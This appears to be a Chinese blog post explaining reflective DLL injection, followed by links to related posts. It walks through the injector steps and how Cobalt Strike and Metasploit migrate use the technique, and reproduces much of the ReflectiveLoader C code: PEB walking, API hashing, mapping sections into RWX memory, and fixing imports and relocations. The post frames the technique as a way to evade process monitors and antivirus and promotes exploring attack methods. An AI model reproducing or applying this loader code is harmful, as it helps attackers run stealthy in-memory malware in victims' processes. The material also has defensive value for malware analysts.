【ReflectDllInjection】 反射型DLL注入
常规dll注入
这里引用一张图来表示:
反射型DLL注入思路:
- 读入原始DLL文件至内存缓冲区
- 解析DLL标头并获取SizeOfImage
- 将DLL标头和PE节复制到步骤3中分配的内存空间
- 执行重定位
- 加载DLL导入的库
- 解析导入地址表(IAT)
- 调用DLL的DLL_PROCESS_ATTACH
反射型dll注入与其他dll注入不同的是,其不需要使用LoadLibrary这一函数,而是自己来实现整个装载过程。我们可以为待注入的DLL添加一个导出函数,ReflectiveLoader,这个函数的功能就是装载它自身。
由于是自己实现,因此不会利用系统自身Loadlibrary,不会“注册”到系统,不会被系统记录。也不会被ProcessExplorerer发现。
要实现反射型DLL注入需要两个部分,注射器和被注入的DLL。
注射器的执行流程:
- 将待注入DLL读入自身内存(避免落地)
- 利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
- 利用CreateRemoteThread等函数启动位于目标进程中的ReflectLoader
而ReflectiveLoader的实现:
就是对自身的装载。
反射型dll注入与常规注入有何不同:
- 直接在内存中展开,无需.dll 文件存在。
- 没有通过Load Library等API加载,ProcessExplorer、procexp64 等工具无法检测到这个dll
- 更容易免杀。
反射dll注入思路:
1.根据需要注入的进程,向服务器申请dll下发;
2.将下发的数据解密后,直接写入申请的堆中;
3.打开进程(OpenProcess)、分配内存(VirtualAllocEx)、将堆中的数据写入内存4.(WriteProcessMemory);
4.获取 RtlCreateUserThread 函数指针
.RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT(“ntdll”)), “RtlCreateUserThread”));
5.通过 RtlCreateUserThread 创建线程,调用 目标进程 内存中的 ReflectiveLoader;
ReflectiveLoader 将dll在内存中展开,修复重定位、导入表(类似ShellCode);
6.ReflectiveLoader 调用dll入口点
核心思路
在CS的dll中所有的dll都有自加载能力,所有beacon的扩展功能几乎都是这样实现的。CS将其称为“可修补的dll”,它的原理是不改变MZ的情况下把整个dll文件修补成可被当作shellcode加载的格式,具体的操作是将dll内导出自加载函数,然后将MZ头起始字节修改为可执行ReflectiveLoader函数的硬编码。
dll自加载原理
因为PE文件包含了很多区段,为了节省空间,这些区段在磁盘上存储时候比较紧凑,如果把它们原样放入内存中运行是一定是会出问题的。所以RelectieDllLoader的一个任务就是按照规则将这些区段按照规则映射到对应的虚拟地址中去。
另外我们的dll也会用到其他的dll,这时需要把我们的dll所依赖的dll也装入内存。并修复导入表。
- 首先使用_ReturnAddress()函数获取当前函数的返回地址,因为调用这个函数是在Reflectiveloader的内部,因此从这个地址向上便利,找到0x4d, 0x5a就可以定位到PE文件头所在的婿你地址
- 通过FS:[0x30]获取到PEB,用PEB遍历出进程所需要的所有模块dll的基地址(LDR),之后通过解析 dll PE文件的导出表获取导出函数偏移地址,如: LoadLibrary GetProcAddress VirtualAlloc 等函数的虚拟地址。
- 在调用ReflectiveLoader前,注入器程序会在目标进程申请一块内存空间,但是那是存放的是dll的在磁盘上的结构,要将dll映射到内存中并重新进行内存分配。在 IMAGE_OPTIONAL_HEADER -> SizeOfImage记录这个dll装入内存时候的占用的大小,用这个值作为VirtualAlloc的参数。
- 将dll的PE文件头和各个节复制到对应的位置上。
- 被注入的DLL可能还依赖于其他DLL,因此我们还需要使用LoadLibrary加载这些dll(LoadLibrary地址在上面已拿到)
- 被注入的DLL只有Reflectiveloader中的代码是被写成地址无关的,不需要重定位,其他部分的代码则需要重定位才能正确运行。对于重定位问题,PE的可选头中DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向重定位表:关于重定位在PE文件结构中有介绍。
- 然后就是DLL重定位。
总结:
- 获得被注入进程未解析的dll的基地址
- 获取必要的dll句柄和函数为修复导入表做准备。
- 分配一块新内存解析dll,并将pe头伏知道新内存汇总和将各节复制到新内存。
- 修复导入表和重定向表。
- 执行dllmain函数
CS 反射dll原理
现今仍在使用的DOS结构只有PE文件的MZ标志和PE头的e_lfanew,其他随意修改不会影响这个PE文件的正常运行。
引用一张图如下:
msf的migrate 原理:
migrate 和 ReflectiveDllInjection项目大致相同。原理如下:
- 读取metsrv.dll(metpreter payload模板dll)文件到内存中。
- 生成最终的payload。
a) msf生成一小段汇编migrate stub主要用于建立socket连接。
b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。
c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。 - 向msf server发送migrate请求和payload。
- msf向迁移目标进程分配一块内存并写入payload。
- msf首先会创建的远程线程执行migrate stub,如果失败了,就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader,meterpreter loader才会调用reflective loader。
- reflective loader进行反射式dll注入。
- 最后msf client和msf server建立一个新的session。
原理
ReflectiveLoader()首先会调用caller()函数。
uiLibraryAddress = caller();
caller()函数实质上是_ReturnAddress()函数封装。calller()函数的作用是获取ReflectiveLoader()函数中调用caller()函数的下一条指令地址。
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
然后向低地址(向上,回退搜索)逐字节比较石头为dos头的标志ME字串。如果当前地址的内容为MZ字符串,则把当前地址认为是dos头结构体的开头,并校验dos头e_leanew结构是否指向pe头的标识“PE”字符串。若校验通过,则认为当前地址是正确的DOS头结构体的开头。
while( TRUE )
{//将当前地址当成dos头结构,此结构的e_magic成员变量是否指向MZ子串if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) {uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ){uiHeaderValue += uiLibraryAddress;//判断e_lfanew结构成员是否指向PE子串,是则跳出循环,取得未解析dll的基地址if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )break;}}uiLibraryAddress--;
}
获取必要的dll句柄和函数地址:
获取必要的dll句柄是通过遍历peb结构体中的ldr成员中的InMemoryOrderList链表获取dll名称,之后算出dll名称hash,最后进行hash对比得到最后dll名。
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;uiValueC = 0;ULONG_PTR tmpValC = uiValueC;//计算tmpValC所指向子串的hash值,并存储在uiValueC中....if( (DWORD)uiValueC == KERNEL32DLL_HASH )
必要的函数是遍历函数所在dll导出表获得函数名称,然后进行hash对比得到的:
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 ){dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );if( dwHashValue == LOADLIBRARYA_HASH//等于其他函数hash的情况|| ...){uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );if( dwHashValue == LOADLIBRARYA_HASH )pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );//等于其他函数hash的情况...usCounter--;}uiNameArray += sizeof(DWORD);uiNameOrdinals += sizeof(WORD);}
}
将dll映射到新内存:
Nt optional header结构体中的SizeOfImage 变量存储着PE文件在内存中解析后所占内存的大小。所以ReflectiveLoader获取到SizeOfImage的大小,分配一块新内存,然后按照section header结构中的文件相对偏移和相对虚拟地址,将PE节一一映射到新内存中。
//分配SizeOfImage的新内存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//将所有头和节表逐字节复制到新内存
while( uiValueA-- )*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一个节表项
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;//将每一节的内容复制到新内存对应的位置while( uiValueD-- )*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
#### 修复导入表和重定位表:
首先根据导入表结构,找到导入函数所在的dll名称,然后使用loadlibrary()函数载入dll,根据函数序号或函数名称,在载入的dll的导出表中,通过hash对比,把找出的函数地址写入到新内存的ITA表中。
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//当没有到达导入表末尾时
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{//使用LoadLibraryA()函数加载对应的dlluiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );...uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );//IAT表uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );while( DEREF(uiValueA) ){//如果导入函数是通过函数编号导入if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ){ //通过函数编号索引导入函数所在dll的导出函数 uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );//将对应的导入函数地址写入IAT表DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );}else{//导入函数通过名称导入的uiValueB = ( uiBaseAddress + DEREF(uiValueA) );DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );}uiValueA += sizeof( ULONG_PTR );if( uiValueD )uiValueD += sizeof( ULONG_PTR );}uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
然后是进行重定位:
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不为0,则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ){uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);//根据不同的标识,修正每一项对应地址的值while( uiValueB-- ){if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);uiValueD += sizeof( IMAGE_RELOC );}uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;}
}
总结:
反射型dll注入的 Reflectiveloader 可以理解为实质上是自己实现了一遍windows dll loader。
欢迎各位大佬一起来免费知识星球学习: 一起探究安全原理,探索更多攻击方法。
https://t.zsxq.com/2rjA6yn
【ReflectDllInjection】 反射型DLL注入相关推荐
- dll oem证书导入工具_恶意代码分析之反射型DLL注入
01 技术概要 这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注入更为隐蔽,因为除了不需要磁盘上的实际DLL文件之外,它也不需要任何Windows加载程序的辅助即可注 ...
- dll oem证书导入工具_技术干货 | 恶意代码分析之反射型DLL注入
欢迎各位添加微信号:qinchang_198231 加入安全+ 交流群 和大佬们一起交流安全技术 01 技术概要 这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注 ...
- python dll注入 网络_python – 检测反射型DLL注入
如何挂接VirtualProtect API.因为加载本身的DLL肯定会在其内存代码范围内执行.这是因为(如您所提到的),他们使用用户访问权限,因此他们必须使用进程用户空间API. NTSYSAPI ...
- 2020-11-24(dll注入的N种搞法)
所谓DLL注入,本来是软件用于向其他程序添加/扩展功能.调试或逆向工程的一种合法技术.不过,后来恶意软件也常用这种方式来干坏事.因此,这意味着从安全的角度来看,我们必须知道DLL注入是如何工作的. 之 ...
- 【网络杂烩 ---> 网络安全】DLL 注入 --- c/c++ 代码实现(超 · 详细)
麻了,之前写的博客全是收藏,没人点赞,来点赞行不行! GitHub同步更新(已分类):DLL_Injection Gitee同步更新(已分类)DLL_Injection 公众号:URLeisure 的 ...
- c语言 dll注入,教大家写一个远程线程的DLL注入,其实还是蛮简单的……………………...
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 然后新建一个win32 application 的工程 新建c++ source file 写入: #include #include int WINAP ...
- c语言dll注入,教大家写一个远程线程的DLL注入,其实还是蛮简单的……………………...
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 然后新建一个win32 application 的工程 新建c++ source file 写入: #include #include int WINAP ...
- 系统安全攻防战:DLL注入技术详解
DLL注入是一种允许攻击者在另一个进程的地址空间的上下文中运行任意代码的技术.攻击者使用DLL注入的过程中如果被赋予过多的运行特权,那么攻击者就很有可能会在DLL文件中嵌入自己的恶意攻击代码以获取更高 ...
- DLL注入-APC注入
APC注入 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下: 1)当EXE里某个线程执行到Sl ...
- 实现HOOK其他进程的Messagebox(2) DLL注入工具
DLL注入工具(远程线程技术和简单的MFC CListCtrl控件知识). DLL文件已经编写好.测试程序也很简单.现在就是解决将DLL注入到目标进程中.. 这里采用远程线程注入技术..本来WIN32 ...
最新文章
- MyBatis在insert插入操作时返回主键ID
- 肺部胸片图像掩膜和伪彩色处理matlab
- 动态规划 所有题型的总结
- hdu 4442 Physical Examination
- Netty实现原理分析
- PCB 生产周期计算逻辑与代码实现
- String去重方法
- centos7 安装及配置
- 国内互联网企业奇妙招数
- linux远程仿真,11.5 仿真的远程桌面系统: XRDP 服务器
- 直播实录丨十年主导15个产品从0到1,她的经验与思考现场拆解
- java web个人博客开发(一需求获取和需求分析文档)
- html中加载页面时调用函数,js页面加载时调用函数方法
- java JDK11对比JDK8
- bert中最大处理序列长度超过512的处理策略
- 则必有不完全相同的奇数排列对换为同一个偶排列
- LRC歌词制作LRC歌词制作
- 国内 WhatsApp 能用吗?WhatsApp对外贸企业的重要性?
- R语言用LOESS(局部加权回归)季节趋势分解(STL)进行时间序列异常检测
- C语言:求n的阶乘和n的阶乘和
热门文章
- visual studio-wdk8.1+vs2013中使用winusb模版开发usb设备驱动
- [Hello World教程] 使用HBuilder和Uni-app 生成一个简单的微信小程序DEMO
- UEditor 实现新增“转换简体”和“转换繁体字”按钮功能
- 一键备份服务器文件夹权限,教大家一键设置局域网共享文件夹权限
- 面向对象七大设计原则
- HOOK大神用c++制作绝地求生自瞄物品透视,源码仅供娱乐!
- 西门子CPU扩展以太网接口的一种解决方案
- CAPL编程语言简介
- 华为手机服务器位置,华为手机怎么查看云服务器地址
- java中文字符串转化成英文字母